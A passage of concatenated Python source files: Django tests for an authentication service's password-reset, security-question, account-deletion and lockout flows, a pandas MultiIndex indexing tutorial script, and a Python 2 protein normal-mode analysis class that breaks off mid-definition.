) self.assertTrue(hashers.check_password( "AnswerFirst".lower(), question_one.answer) ) self.assertTrue(hashers.check_password( "AnswerSecond".lower(), question_two.answer) ) class ResetPasswordTestCase(TestCase): @classmethod def setUpTestData(cls): cls.user = get_user_model().objects.create( username="identifiable_user", email="user@id.com", birth_date=datetime.date(2001, 1, 1) ) cls.user.set_password("1234") cls.user.save() cls.user_no_email = get_user_model().objects.create( username="user_no_email", birth_date=datetime.date(2001, 1, 1) ) cls.user.set_password("1234") cls.user.save() cls.question_one = SecurityQuestion.objects.create( question_text="Some text for the one question" ) cls.question_two = SecurityQuestion.objects.create( question_text="Some text for the other question" ) cls.user_answer_one = UserSecurityQuestion.objects.create( user=cls.user_no_email, question=cls.question_one, language_code="en", answer="one" ) cls.user_answer_two = UserSecurityQuestion.objects.create( user=cls.user_no_email, question=cls.question_two, language_code="en", answer="two" ) def test_logged_in_user(self): url = reverse('reset_password') res = self.client.get(url) self.assertEqual(res.status_code, 200) # force login a user, now he should not see registration page self.client.force_login(self.user) res = self.client.get(url) self.assertEqual(res.status_code, 302) def test_username_as_identifier(self): response = self.client.post( reverse("reset_password"), data={ "email": "user_no_email" } ) self.assertRedirects( response, reverse("reset_password_security_questions")) @patch("authentication_service.tasks.send_mail.apply_async") def test_email_as_identifier(self, send_mail): response = self.client.post( reverse("reset_password"), data={ "email": "user@id.com" } ) send_mail.assert_called() self.assertNotIn("User not found", response) self.assertEquals(response.status_code, 302) self.assertEquals(response.url, reverse("password_reset_done")) def test_user_not_found(self): response = self.client.post( reverse("reset_password"), data={ "email": "identifiable_user2" } ) self.assertRedirects(response, reverse("password_reset_done")) response = self.client.post( reverse("reset_password"), data={ "email": "user2@id.com" } ) self.assertRedirects(response, reverse("password_reset_done")) def test_security_question_reset(self): # Explicity set a session variable to access session = self.client.session session["lookup_user_id"] = str(self.user_no_email.id) session.save() response = self.client.get( reverse("reset_password_security_questions") ) self.assertContains(response, "question_%s" % self.user_answer_one.id) self.assertContains(response, "question_%s" % self.user_answer_two.id) response = self.client.post( reverse("reset_password_security_questions"), data={ "question_%s" % self.user_answer_one.id: "one", "question_%s" % self.user_answer_two.id: "three" } ) self.assertContains(response, "One or more answers are incorrect") response = self.client.post( reverse("reset_password_security_questions"), data={ "question_%s" % self.user_answer_one.id: "one", "question_%s" % self.user_answer_two.id: "two" } ) # Redirects to password reset confirm view self.assertEquals(response.status_code, 302) class DeleteAccountTestCase(TestCase): @classmethod def setUpTestData(cls): cls.user = get_user_model().objects.create( username="leaving_user", email="awol@id.com", birth_date=datetime.date(2001, 1, 1) ) cls.user.set_password("atleast_its_not_1234") cls.user.save() def test_view_html_toggle(self): self.client.login(username=self.user.username, password="atleast_its_not_1234") response = self.client.get(reverse("delete_account")) self.assertNotContains(response, "confirmed_deletion") response = self.client.post( reverse("delete_account"), data={ "reason": "The theme is ugly" } ) self.assertContains( response, '<input name="confirmed_deletion" type="submit" value="Delete account" class="Button" />' ) self.assertContains(response, "<textarea name=\"reason\" cols=\"40\" rows=\"10\" id=\"id_reason\" class=\" Textarea \">" ) @patch("authentication_service.tasks.send_mail.apply_async") def test_mail_task_fires(self, send_mail): self.test_view_html_toggle() response = self.client.post( reverse("delete_account"), data={ "reason": "The theme is ugly", "confirmed_deletion": "Are you sure?" } ) send_mail.assert_called_with( kwargs={ "context": {"reason": "The theme is ugly"}, "mail_type": "delete_account", "objects_to_fetch": [{ "app_label": "authentication_service", "model": "coreuser", "id": self.user.id, "context_key": "user"}] } ) class TestMigrationPasswordReset(TestCase): def goto_login(self): # Setup session values return self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) @classmethod def setUpTestData(cls): super(TestMigrationPasswordReset, cls).setUpTestData() cls.temp_user = TemporaryMigrationUserStore.objects.create( username="forgetfulmigrateduser", client_id="migration_client_id", user_id=4, answer_one="a", answer_two="b", question_one={'en': 'Some awesome question'}, question_two={'en': 'Another secure question'} ) cls.temp_user.set_password("Qwer!234") cls.temp_user.set_answers("Answer1", "Answer2") Client.objects.create( client_id="migration_client_id", name= "MigrationCLient", client_secret= "super_client_secret_1", response_type= "code", jwt_alg= "HS256", redirect_uris= ["http://example.com/"] ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_no_answers(self): temp_user = TemporaryMigrationUserStore.objects.create( username="reallyforgetfulmigrateduser", client_id="migration_client_id", user_id=6, question_one={}, question_two={} ) # Setup session values self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) response = self.client.post( reverse("reset_password"), data={ "email": "reallyforgetfulmigrateduser" }, follow=True ) messages = list(get_messages(response.wsgi_request)) self.assertEqual(len(messages), 1) self.assertEqual( messages[0].message, "We are sorry, your account can not perform this action" ) self.assertEqual( messages[0].level_tag, "warning" ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_securityquestion_step_404(self): temp_user = TemporaryMigrationUserStore.objects.create( username="404migrateduser", client_id="migration_client_id", question_one={"en": "Some awesome question"}, question_two={"en": "Another secure question"}, user_id=7 ) temp_user.set_password("Qwer!234") temp_user.set_answers("Answer1", "Answer2") self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) response = self.client.post( reverse("reset_password"), data={ "email": "404migrateduser" }, follow=True ) url = response.redirect_chain[-1][0] TemporaryMigrationUserStore.objects.filter( username="404migrateduser", client_id="migration_client_id", user_id=7 ).delete() response = self.client.get(url) self.assertEqual(response.status_code, 404) @override_settings(ACCESS_CONTROL_API=MagicMock()) @patch("django.core.signing.loads") def test_securityquestion_step_expired_token(self, expire_mock): temp_user = TemporaryMigrationUserStore.objects.create( username="404migrateduser", client_id="migration_client_id", question_one={"en": "Some awesome question"}, question_two={"en": "Another secure question"}, user_id=50 ) temp_user.set_password("Qwer!234") temp_user.set_answers("Answer1", "Answer2") self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) expire_mock.side_effect = signing.SignatureExpired("Expired") response = self.client.post( reverse("reset_password"), data={ "email": "404migrateduser" }, follow=True ) self.assertRedirects( response, "/en/login/" ) messages = list(get_messages(response.wsgi_request)) self.assertEqual(len(messages), 1) self.assertEqual( messages[0].message, "Password reset url has expired, please restart the password reset proces." ) self.assertEqual( messages[0].level_tag, "error" ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_one_answer(self): temp_user = TemporaryMigrationUserStore.objects.create( username="slightlyforgetfulmigrateduser", client_id="migration_client_id", user_id=6, question_one={'en': 'Some awesome question'}, question_two={} ) temp_user.set_answers("Answer1") # Setup session values self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) response = self.client.post( reverse("reset_password"), data={ "email": "slightlyforgetfulmigrateduser" }, follow=True ) token_url = response.redirect_chain[-1][0] self.assertIn( "/en/user-migration/question-gate/", token_url ) self.assertContains( response, '<input type="hidden" name="answer_two" disabled id="id_answer_two" class=" HiddenInput " />' ) self.assertContains( response, f'<input type="hidden" value="{temp_user.username}" name="auth-username">' ) response = self.client.post( token_url, data={ "answer_one": "slightlyforgetfulmigrateduser" }, follow=True ) self.assertEqual( response.context["form"].non_field_errors(), ["Incorrect answer provided"] ) response = self.client.post( token_url, data={ "answer_one": "Answer1" }, follow=True ) token_url = response.redirect_chain[-1][0] self.assertIn( "/en/user-migration/password-reset/", token_url ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_question_gate_view(self): response = self.goto_login() self.assertRedirects( response, "/en/login/?next=/openid/authorize%3Fresponse_type%3Dcode%26scope%3Dopenid%26client_id%3Dmigration_client_id%26redirect_uri%3Dhttp%253A%252F%252Fexample.com%252F%26state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO" ) response = self.client.post( reverse("reset_password"), data={ "email": "forgetfulmigrateduser" }, follow=True ) token_url = response.redirect_chain[-1][0] self.assertIn( "/en/user-migration/question-gate/", token_url ) self.assertContains( response, "Some awesome question" ) self.assertContains( response, "Another secure question" ) response = self.client.post( token_url, data={ "answer_one": "forgetfulmigrateduser", "answer_two": "forgetfulmigrateduser" }, ) self.assertEqual( response.context["form"].non_field_errors(), ["Incorrect answers provided"] ) response = self.client.post( token_url, data={ "answer_one": "Answer1", "answer_two": "Answer2" }, follow=True ) token_url = response.redirect_chain[-1][0] self.assertIn( "/en/user-migration/password-reset/", token_url ) return token_url @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_question_gate_language_404(self): response = self.goto_login() self.assertRedirects( response, "/en/login/?next=/openid/authorize%3Fresponse_type%3Dcode%26scope%3Dopenid%26client_id%3Dmigration_client_id%26redirect_uri%3Dhttp%253A%252F%252Fexample.com%252F%26state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO" ) # Change language response = self.client.get( f"/prs{reverse('reset_password')}", follow=True ) response = self.client.post( reverse("reset_password"), data={ "email": "forgetfulmigrateduser" }, follow=True ) self.assertEquals(response.status_code, 404) self.assertIn(b"<p>No question translation matching the current language could be found.</p>", response.content) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_password_reset_view(self): url = self.test_question_gate_view() response = self.client.post( url, data={ "password_one": "aaaaaa", "password_two": "bbbbbb" } ) self.assertEqual( response.context["form"].errors, {"password_two": ["Passwords do not match."]} ) response = self.client.post( url, data={ "password_one": "aa", "password_two": "aa" } ) self.assertEqual( response.context["form"].errors, {"password_two": ["Password not long enough."]} ) response = self.client.post( url, data={ "password_one": "CoolNew", "password_two": "CoolNew" }, follow=True ) self.assertRedirects( response, "/en/reset-password/done/" ) user = TemporaryMigrationUserStore.objects.get( username=self.temp_user.username, client_id=self.temp_user.client_id, user_id=self.temp_user.user_id, ) self.assertTrue(user.check_password("CoolNew")) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_ensure_client_id_always_present(self): temp_user = TemporaryMigrationUserStore.objects.create( username="Ididnotrealyforgetanything", client_id="migration_client_id", user_id=7, question_one={'en': 'Some awesome question'}, question_two={} ) temp_user.set_answers("Answer1") # Setup session values self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) # Trigger session values clear and setup again self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) response = self.client.post( reverse("reset_password"), data={ "email": "Ididnotrealyforgetanything" }, follow=True ) token_url = response.redirect_chain[-1][0] self.assertIn( "/en/user-migration/question-gate/", token_url ) class TestMigrationPasswordResetLockout(TestCase): def goto_login(self): # Setup session values return self.client.get( f"{reverse('oidc_provider:authorize')}?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http%3A%2F%2Fexample.com%2F&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", follow=True ) @classmethod def setUpTestData(cls): super(TestMigrationPasswordResetLockout, cls).setUpTestData() cls.temp_user = TemporaryMigrationUserStore.objects.create( username="forgetfulmigrateduser", client_id="migration_client_id", user_id=4, answer_one="a", answer_two="b", question_one={'en': 'Some awesome question'}, question_two={'en': 'Another secure question'} ) cls.temp_user.set_password("Qwer!234") cls.temp_user.set_answers("Answer1", "Answer2") Client.objects.create( client_id="migration_client_id", name= "MigrationCLient", client_secret= "super_client_secret_1", response_type= "code", jwt_alg= "HS256", redirect_uris= ["http://example.com/"] ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_lockout(self): response = self.goto_login() self.assertRedirects( response, "/en/login/?next=/openid/authorize%3Fresponse_type%3Dcode%26scope%3Dopenid%26client_id%3Dmigration_client_id%26redirect_uri%3Dhttp%253A%252F%252Fexample.com%252F%26state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO" ) response = self.client.post( reverse("reset_password"), data={ "email": "forgetfulmigrateduser" }, follow=True ) token_url = response.redirect_chain[-1][0] self.assertIn( "/en/user-migration/question-gate/", token_url ) self.assertContains( response, "Some awesome question" ) self.assertContains( response, "Another secure question" ) unblock_username(self.temp_user.username) allowed_attempts = settings.DEFENDER_LOGIN_FAILURE_LIMIT attempt = 0 while attempt < allowed_attempts: attempt += 1 response = self.client.post( token_url, data={ "auth-username": self.temp_user.username, "answer_one": "forgetfulmigrateduser", "answer_two": "forgetfulmigrateduser" }, ) self.assertEqual( response.context["form"].non_field_errors(), ["Incorrect answers provided"] ) self.assertEqual(response.status_code, 200) self.assertIn("authentication_service/form.html", response.template_name) # The next (failed) attempt needs to prevent further attempts with self.assertTemplateUsed("authentication_service/lockout.html"): response = self.client.post( token_url, data={ "auth-username": self.temp_user.username, "answer_one": "forgetfulmigrateduser", "answer_two": "forgetfulmigrateduser" }, follow=True ) with self.assertTemplateUsed("authentication_service/lockout.html"): response = self.client.post( token_url, data={ "auth-username": self.temp_user.username, "answer_one": "Answer1", "answer_two": "Answer2" }, follow=True ) # Manually unblock the username. This allows the user to try again. unblock_username(self.temp_user.username) class HealthCheckTestCase(TestCase): def test_healthcheck(self): response = self.client.get(reverse("healthcheck")) self.assertContains(response, "host") self.assertContains(response, "server_timestamp") self.assertContains(response, "db_timestamp") self.assertContains(response, "version") class TestResetPasswordSecurityQuestionsView(TestCase): @classmethod def setUpTestData(cls): super().setUpTestData() cls.user = get_user_model().objects.create_user( username="user_who_forgets_creds", password="Qwer!234", birth_date=datetime.date(2001, 1, 1) ) cls.user.save() cls.question_one = SecurityQuestion.objects.create( question_text="Some text for the one question" ) cls.question_two = SecurityQuestion.objects.create( question_text="Some text for the other question" ) cls.user_answer_one = UserSecurityQuestion.objects.create( question=cls.question_one, user=cls.user, answer=make_password("right") ) cls.user_answer_two = UserSecurityQuestion.objects.create( question=cls.question_two, user=cls.user, answer=make_password("right") ) def test_with_no_answer(self): # Sets up the lookup user id response = self.client.post( reverse("reset_password"), {"email": self.user.username}, follow=True) response = self.client.post( response.redirect_chain[-1][0], {} ) self.assertEqual( response.context["form"].errors, { f"question_{self.user_answer_one.id}": [ "This field is required."], f"question_{self.user_answer_two.id}": [ "This field is required."], "__all__": ["Please answer all your security questions."], } )
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e8e51b34756756ecd8d13554c4a3db42d9354da3
9,706
py
Python
notebook/pandas_multiindex_indexing.py
vhn0912/python-snippets
80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038
[ "MIT" ]
174
2018-05-30T21:14:50.000Z
2022-03-25T07:59:37.000Z
notebook/pandas_multiindex_indexing.py
vhn0912/python-snippets
80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038
[ "MIT" ]
5
2019-08-10T03:22:02.000Z
2021-07-12T20:31:17.000Z
notebook/pandas_multiindex_indexing.py
vhn0912/python-snippets
80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038
[ "MIT" ]
53
2018-04-27T05:26:35.000Z
2022-03-25T07:59:37.000Z
import pandas as pd df = pd.read_csv('data/src/sample_multi.csv', index_col=[0, 1, 2]) print(df) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 98 90 # C1 44 9 # B1 C2 39 17 # C3 75 71 # A1 B2 C0 1 89 # C1 54 60 # B3 C2 47 6 # C3 16 5 # A2 B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 # A3 B2 C0 64 54 # C1 27 96 # B3 C2 100 77 # C3 22 50 print(df.index) # MultiIndex(levels=[['A0', 'A1', 'A2', 'A3'], ['B0', 'B1', 'B2', 'B3'], ['C0', 'C1', 'C2', 'C3']], # labels=[[0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3], [0, 0, 1, 1, 2, 2, 3, 3, 0, 0, 1, 1, 2, 2, 3, 3], [0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3]], # names=['level_1', 'level_2', 'level_3']) print(df.loc['A0', 'val_1']) # level_2 level_3 # B0 C0 98 # C1 44 # B1 C2 39 # C3 75 # Name: val_1, dtype: int64 print(df.loc['A0', :]) # val_1 val_2 # level_2 level_3 # B0 C0 98 90 # C1 44 9 # B1 C2 39 17 # C3 75 71 print(df.loc['A0']) # val_1 val_2 # level_2 level_3 # B0 C0 98 90 # C1 44 9 # B1 C2 39 17 # C3 75 71 print(df.loc['A0':'A2', :]) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 98 90 # C1 44 9 # B1 C2 39 17 # C3 75 71 # A1 B2 C0 1 89 # C1 54 60 # B3 C2 47 6 # C3 16 5 # A2 B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 print(df.loc[['A0', 'A2'], :]) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 98 90 # C1 44 9 # B1 C2 39 17 # C3 75 71 # A2 B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 print(df.loc[('A0', 'B1'), :]) # val_1 val_2 # level_3 # C2 39 17 # C3 75 71 print(df.loc[('A0', 'B1', 'C2'), :]) # val_1 39 # val_2 17 # Name: (A0, B1, C2), dtype: int64 print(df.loc[(['A0', 'A1'], ['B0', 'B3']), :]) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 98 90 # C1 44 9 # A1 B3 C2 47 6 # C3 16 5 # print(df.loc[(:, 'B1'), :]) # SyntaxError: invalid syntax # print(df.loc[('A1':'A3', 'B2'), :]) # SyntaxError: invalid syntax print(df.loc[(slice(None), 'B1'), :]) # val_1 val_2 # level_1 level_2 level_3 # A0 B1 C2 39 17 # C3 75 71 # A2 B1 C2 25 52 # C3 57 40 print(df.loc[(slice('A1', 'A3'), 'B2'), :]) # val_1 val_2 # level_1 level_2 level_3 # A1 B2 C0 1 89 # C1 54 60 # A3 B2 C0 64 54 # C1 27 96 print(df.loc[(slice('A1', 'A3'), ['B0', 'B2'], 'C1'), :]) # val_1 val_2 # level_1 level_2 level_3 # A1 B2 C1 54 60 # A2 B0 C1 19 4 # A3 B2 C1 27 96 print(df.loc[pd.IndexSlice[:, 'B1'], :]) # val_1 val_2 # level_1 level_2 level_3 # A0 B1 C2 39 17 # C3 75 71 # A2 B1 C2 25 52 # C3 57 40 print(df.loc[pd.IndexSlice['A1':'A3', 'B2'], :]) # val_1 val_2 # level_1 level_2 level_3 # A1 B2 C0 1 89 # C1 54 60 # A3 B2 C0 64 54 # C1 27 96 print(df.loc[pd.IndexSlice['A1':'A3', ['B0', 'B2'], 'C1'], :]) # val_1 val_2 # level_1 level_2 level_3 # A1 B2 C1 54 60 # A2 B0 C1 19 4 # A3 B2 C1 27 96 print(df.xs('B1', level='level_2')) # val_1 val_2 # level_1 level_3 # A0 C2 39 17 # C3 75 71 # A2 C2 25 52 # C3 57 40 print(df.xs('C1', level=2)) # val_1 val_2 # level_1 level_2 # A0 B0 44 9 # A1 B2 54 60 # A2 B0 19 4 # A3 B2 27 96 print(df.xs(['B1', 'C2'], level=['level_2', 'level_3'])) # val_1 val_2 # level_1 # A0 39 17 # A2 25 52 print(df.xs(pd.IndexSlice['A1':'A3'], level='level_1')) # val_1 val_2 # level_2 level_3 # B2 C0 1 89 # C1 54 60 # B3 C2 47 6 # C3 16 5 # B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 # B2 C0 64 54 # C1 27 96 # B3 C2 100 77 # C3 22 50 print(df.xs(slice('A1', 'A3'), level='level_1')) # val_1 val_2 # level_2 level_3 # B2 C0 1 89 # C1 54 60 # B3 C2 47 6 # C3 16 5 # B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 # B2 C0 64 54 # C1 27 96 # B3 C2 100 77 # C3 22 50 # print(df.xs(['B1', 'B2'], level='level_2')) # KeyError: ('B1', 'B2') print(df.loc[pd.IndexSlice[:, ['B1', 'B2']], :]) # val_1 val_2 # level_1 level_2 level_3 # A0 B1 C2 39 17 # C3 75 71 # A1 B2 C0 1 89 # C1 54 60 # A2 B1 C2 25 52 # C3 57 40 # A3 B2 C0 64 54 # C1 27 96 df.loc[(['A0', 'A1'], ['B0', 'B3']), :] = -100 print(df) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 -100 -100 # C1 -100 -100 # B1 C2 39 17 # C3 75 71 # A1 B2 C0 1 89 # C1 54 60 # B3 C2 -100 -100 # C3 -100 -100 # A2 B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 # A3 B2 C0 64 54 # C1 27 96 # B3 C2 100 77 # C3 22 50 df.loc[(['A0', 'A1'], ['B0', 'B3']), :] = [-200, -300] print(df) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 -200 -300 # C1 -200 -300 # B1 C2 39 17 # C3 75 71 # A1 B2 C0 1 89 # C1 54 60 # B3 C2 -200 -300 # C3 -200 -300 # A2 B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 # A3 B2 C0 64 54 # C1 27 96 # B3 C2 100 77 # C3 22 50 df.loc[(['A0', 'A1'], ['B0', 'B3']), :] = [[-1, -2], [-3, -4], [-5, -6], [-7, -8]] print(df) # val_1 val_2 # level_1 level_2 level_3 # A0 B0 C0 -1 -2 # C1 -3 -4 # B1 C2 39 17 # C3 75 71 # A1 B2 C0 1 89 # C1 54 60 # B3 C2 -5 -6 # C3 -7 -8 # A2 B0 C0 75 22 # C1 19 4 # B1 C2 25 52 # C3 57 40 # A3 B2 C0 64 54 # C1 27 96 # B3 C2 100 77 # C3 22 50 # df.xs(['B1', 'C2'], level=['level_2', 'level_3']) = 0 # SyntaxError: can't assign to function call
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0.074718
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e8f41406cd05cfd60f730812638a362bc9a38230
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py
Python
Software/ANMs.py
hrch3n/cNMA
32bfffc707487fa0964543d17b1fe89f089e09d5
[ "MIT" ]
3
2021-02-09T02:32:33.000Z
2021-09-14T22:18:26.000Z
Software/ANMs.py
hrch3n/cNMA
32bfffc707487fa0964543d17b1fe89f089e09d5
[ "MIT" ]
1
2018-03-09T19:28:42.000Z
2018-03-30T20:08:50.000Z
Software/ANMs.py
hrch3n/cNMA
32bfffc707487fa0964543d17b1fe89f089e09d5
[ "MIT" ]
6
2018-12-05T14:49:26.000Z
2019-11-07T03:44:18.000Z
''' Created on Jan 17, 2014 @author: oliwa ''' import sys as sys import numpy as np from prody.dynamics.anm import calcANM, ANM from prody.dynamics.editing import extendModel, sliceModel from prody.dynamics.functions import saveModel, loadModel, writeArray from prody.proteins.pdbfile import writePDB, parsePDB from prody.dynamics.mode import Vector from prody.measure.measure import calcCenter, calcDistance from prody.dynamics.compare import calcOverlap, calcCumulOverlap,\ calcSubspaceOverlap, calcCovOverlap, printOverlapTable, getOverlapTable from prody.apps.prody_apps.prody_contacts import prody_contacts import traceback from prody.dynamics.nmdfile import writeNMD import scipy as sp class ANMs(object): """ This class holds all the ANMs for an encounter. """ def __init__(self, utils): """ Constructor """ self.utils = utils def createSlcSelectionString(self, reference, isBoundComplex, ref_chain, referenceTitle): """ Under the assumption that is reflected in the Benchmark 4.0 that the receptor atoms are set before the ligand atoms (spacially in the PDB file), if the current protein under investigation is a ligand, an offset is added to the selection string to match the atoms of the ligand from the complex. """ if isBoundComplex and not self.utils.isReceptor(referenceTitle): print "adding offset" return self.utils.addOffset(ref_chain.getSelstr(), reference.select('segment "R."').numAtoms()) else: print "using original selstr" return ref_chain.getSelstr() def calcANMs(self, reference, ref_chain, numberOfModes, encounter, selstr='calpha', whatAtomsToMatch='calpha', modified="", forceRebuild=False, isBoundComplex=False): # if the base model does not exist, it needs to be created along with the # extended and slicedback models if forceRebuild or not self.doesANMExist(reference, numberOfModes, selstr, whatAtomsToMatch, modified): # Create the anm anm = calcANM(reference, n_modes=numberOfModes, selstr=selstr) # First extend the anm on all atoms anm_extend = extendModel(anm[0], anm[1], reference, norm=True) # Then slice it back to matched selectionAtoms = self.createSlcSelectionString(reference, isBoundComplex, ref_chain, encounter.getReference().getTitle()) anm_slc = sliceModel(anm_extend[0], anm_extend[1], selectionAtoms) # If isBoundComplex, slice one anm back to its overall matched chains if isBoundComplex: selectionAtomsCounterpart = self.createSlcSelectionString(reference, isBoundComplex, encounter.getBoundCounterpartChain(), encounter.getUnboundCounterpart().getTitle()) anm_slc_counterpart= sliceModel(anm_extend[0], anm_extend[1], selectionAtomsCounterpart) # Save the models # saveModel(anm[0], # filename=self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch), # matrices=True) # saveModel(anm_extend[0], # filename=self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch, modified="extended"), # matrices=True # ) # saveModel(anm_slc[0], # filename=self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch, modified="slicedback"), # matrices=True # ) print "created and saved models" # print "reference, it is the complex: ", reference.select('calpha and segment "R."').numAtoms() # print "to slice on, it is the mob_chain: ", ref_chain.numAtoms() print "anm hessian : " + str(anm[0].getHessian().shape) print "number of calpha : " + str(reference.select('calpha').numAtoms()) print "anm size : " + str(anm[0].getArray().shape) print "anm_ext size : " + str(anm_extend[0].getArray().shape) print "anm_slice size : " + str(anm_slc[0].getArray().shape) print "selectionAtoms : " + selectionAtoms if isBoundComplex: print "anm slice counterpart size: " + str(anm_slc_counterpart[0].getArray().shape) print "selectionAtoms counterpart: " + selectionAtomsCounterpart # Save the models" self._anm = anm self._anm_extend = anm_extend self._anm_slc = anm_slc if isBoundComplex: self._anm_slc_counterpart = anm_slc_counterpart else: #raise Exception("Problem with capturing the selection of saved models, do not use load models from files now.") try: # load models anmModel = loadModel(self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch)+".anm.npz") anm_extendModel = loadModel(self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch, modified="extended")+".nma.npz") anm_slcModel = loadModel(self.getANMPath(reference, numberOfModes, selstr, whatAtomsToMatch, modified="slicedback")+".nma.npz") # store models selections anmModelSelection = reference.select(selstr) anm_extendModelSelection = reference selectionAtoms = self.createSlcSelectionString(reference, isBoundComplex, ref_chain) anm_slcModelSelection = reference.select(selectionAtoms) # recombine models and selections as tuples anm = (anmModel, anmModelSelection) anm_extend = (anm_extendModel, anm_extendModelSelection) anm_slc = (anm_slcModel, anm_slcModelSelection) print "loaded models" print "anm size : " + str(anm[0].getArray().shape) print "anm_ext size : " + str(anm_extend[0].getArray().shape) print "anm_slice size: " + str(anm_slc[0].getArray().shape) print "selectionAtoms: " + selectionAtoms self._anm = anm self._anm_extend = anm_extend self._anm_slc = anm_slc except IOError as e: print "Error loading ANM models from disc: "+str(e) def calcANMsForPart2a2k(self, reference, counterpart, proteinComplex, ref_chain, counterpart_chain, chain_complex, numberOfModes, selstr='calpha', whatAtomsToMatch='calpha'): # Create the anm of reference, counterpart and proteinComplex) # print "reference, counterpart, proteinComplex, chain_complex (calphas, calphas*3-6) : ", (reference.select('calpha').numAtoms(), reference.select('calpha').numAtoms()*3 -6), (counterpart.select('calpha').numAtoms(), counterpart.select('calpha').numAtoms()*3-6), (proteinComplex.select('calpha').numAtoms(), proteinComplex.select('calpha').numAtoms()*3-6), (chain_complex.select('calpha').numAtoms(), chain_complex.select('calpha').numAtoms()*3 -6) # print "anm_reference, anm_counterpart, anm_complex hessian shapes : ", anm_reference[0].getHessian().shape, anm_counterpart[0].getHessian().shape, anm_complex[0].getHessian().shape # print "anm_reference, anm_counterpart, anm_complex, anm_complex_slc getArray() shapes : ", anm_reference[0].getArray().shape, anm_counterpart[0].getArray().shape, anm_complex[0].getArray().shape, anm_complex_slc[0].getArray().shape self._anm_reference, self._anm_reference_slc = self._calcANMsUnified(reference, ref_chain, numberOfModes/2, selstr, whatAtomsToMatch) self._anm_counterpart, self._anm_counterpart_slc = self._calcANMsUnified(counterpart, counterpart_chain, numberOfModes/2, selstr, whatAtomsToMatch) # print "15 ang contact before moving atoms:", proteinComplex.select('same residue as exwithin 15 of segment "L." ').numAtoms() # self._moveSegment(proteinComplex, "L", 30) # if proteinComplex.select('same residue as exwithin 15 of segment "L." ') != None: # print "15 ang contact after moving atoms: ", proteinComplex.select('same residue as exwithin 15 of segment "L." ').numAtoms() # else: # print "15 ang contact after moving atoms: 0" self._anm_complex, self._anm_complex_slc = self._calcANMsUnified(proteinComplex, chain_complex, numberOfModes, selstr, whatAtomsToMatch) #self.utils.testHessianSubMatrices(self._anm_reference, self._anm_counterpart, self._anm_complex) # check blockmatrix differences and pymol output # useRelError = True #significantDifferences = self.utils.testBlockMatrixMembership(self._anm_reference[0].getHessian(), self._anm_counterpart[0].getHessian(), self._anm_complex[0].getHessian(), useRelativeError=useRelError) #self.utils.whichPatternsAreAffectedbySignificantDifferences(significantDifferences) # assert reference.getResnums()[0] == proteinComplex.getResnums()[0] #print self.utils.significantDifferencesToPymolResiduesString(significantDifferences, reference.getResnums()[0]) print "anm_reference_slc, anm_counterpart_slc, anm_complex_slc getArray() shapes : ", self._anm_reference_slc[0].getArray().shape, self._anm_counterpart_slc[0].getArray().shape, self._anm_complex_slc[0].getArray().shape def calcANMsUnified(self, reference, counterpart, proteinComplex, numberOfModes, 